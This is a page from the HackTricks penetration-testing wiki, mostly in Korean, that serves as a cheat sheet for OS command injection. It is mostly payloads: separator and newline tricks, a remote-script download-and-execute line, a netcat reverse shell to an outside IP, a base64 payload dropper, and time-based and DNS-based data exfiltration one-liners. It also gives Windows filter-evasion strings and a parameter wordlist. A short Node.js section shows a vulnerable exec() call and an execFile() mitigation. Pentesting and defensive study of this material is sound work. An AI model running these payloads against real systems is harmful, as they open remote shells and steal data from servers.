hacktricks/src/pentesting-web/command-injection.md

162 lines
5.8 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Command Injection
{{#include ../banners/hacktricks-training.md}}
## command Injection란 무엇인가?
**command injection**는 공격자가 애플리케이션을 호스팅하는 서버에서 임의의 운영체제 명령을 실행할 수 있게 한다. 그 결과 애플리케이션과 그에 포함된 모든 데이터가 완전히 침해될 수 있다. 이러한 명령의 실행은 일반적으로 공격자가 애플리케이션의 환경과 기반 시스템에 대해 무단으로 접근하거나 제어권을 획득하도록 허용한다.
### 컨텍스트
입력이 **어디에 주입되는지**에 따라, 명령을 실행하기 전에 **인용된 컨텍스트를 종료**해야 할 수 있다(`"` 또는 `'` 사용).
## Command Injection/Execution
```bash
#Both Unix and Windows supported
ls||id; ls ||id; ls|| id; ls || id # Execute both
ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)
ls&&id; ls &&id; ls&& id; ls && id # Execute 2º if 1º finish ok
ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º
ls %0A id # %0A Execute both (RECOMMENDED)
ls%0abash%09-c%09"id"%0a # (Combining new lines and tabs)
#Only unix supported
`ls` # ``
$(ls) # $()
ls; id # ; Chain commands
ls${LS_COLORS:10:1}${IFS}id # Might be useful
#Not executed but may be interesting
> /var/www/html/out.txt #Try to redirect the output to a file
< /etc/passwd #Try to send some input to the command
```
### **Limition** Bypasses
만약 **arbitrary commands inside a linux machine**를 실행하려 한다면, 이 **Bypasses**에 대해 읽어보면 도움이 될 것입니다:
{{#ref}}
../linux-hardening/bypass-bash-restrictions/
{{#endref}}
### **예제**
```
vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay
```
### 매개변수
다음은 code injection 및 유사한 RCE 취약점에 취약할 수 있는 상위 25개 매개변수입니다 (출처: [link](https://twitter.com/trbughunters/status/1283133356922884096)):
```
?cmd={payload}
?exec={payload}
?command={payload}
?execute{payload}
?ping={payload}
?query={payload}
?jump={payload}
?code={payload}
?reg={payload}
?do={payload}
?func={payload}
?arg={payload}
?option={payload}
?load={payload}
?process={payload}
?step={payload}
?read={payload}
?function={payload}
?req={payload}
?feature={payload}
?exe={payload}
?module={payload}
?payload={payload}
?run={payload}
?print={payload}
```
### Time based data exfiltration
데이터 추출: 문자 단위로
```
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real 0m5.007s
user 0m0.000s
sys 0m0.000s
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real 0m0.002s
user 0m0.000s
sys 0m0.000s
```
### DNS 기반 data exfiltration
다음 도구를 기반으로 함: `https://github.com/HoLyVieR/dnsbin` — dnsbin.zhack.ca에도 호스팅되어 있음
```
1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
```
```
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
```
DNS 기반의 데이터 exfiltration을 확인할 수 있는 온라인 도구:
- dnsbin.zhack.ca
- pingb.in
### 필터링 우회
#### Windows
```
powershell C:**2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:**32\c*?c.e?e # calc
```
#### Linux
{{#ref}}
../linux-hardening/bypass-bash-restrictions/
{{#endref}}
### Node.js `child_process.exec` vs `execFile`
JavaScript/TypeScript 백엔드를 검토할 때 Node.js `child_process` API를 자주 만나게 됩니다.
```javascript
// Vulnerable: user-controlled variables interpolated inside a template string
const { exec } = require('child_process');
exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(payload)}'`, (err, stdout) => {
/* … */
});
```
`exec()`**shell** (`/bin/sh -c`)을 실행하므로, shell에 대해 특수한 의미를 갖는 모든 문자(back-ticks, `;`, `&&`, `|`, `$()`, …)는 사용자 입력이 문자열에 연결될 때 **command injection**을 초래합니다.
**Mitigation:** `execFile()`(또는 `spawn()``shell` 옵션 없이) 사용하고 **각 인수를 별도의 배열 요소로 제공**하여 shell이 개입하지 않도록 합니다:
```javascript
const { execFile } = require('child_process');
execFile('/usr/bin/do-something', [
'--id_user', id_user,
'--payload', JSON.stringify(payload)
]);
```
실제 사례: *Synology Photos* ≤ 1.7.0-0794는 인증되지 않은 WebSocket 이벤트를 통해 공격자가 제어한 데이터가 `id_user`에 삽입되었고, 이후 `exec()` 호출에 포함되어 RCE를 달성할 수 있었습니다 (Pwn2Own Ireland 2024).
## Brute-Force 탐지 목록
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt
{{#endref}}
## 참고자료
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection)
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection)
- [https://portswigger.net/web-security/os-command-injection](https://portswigger.net/web-security/os-command-injection)
- [Extraction of Synology encrypted archives Synacktiv 2025](https://www.synacktiv.com/publications/extraction-des-archives-chiffrees-synology-pwn2own-irlande-2024.html)
- [PHP proc_open manual](https://www.php.net/manual/en/function.proc-open.php)
- [HTB Nocturnal: IDOR → Command Injection → Root via ISPConfig (CVE202346818)](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html)
{{#include ../banners/hacktricks-training.md}}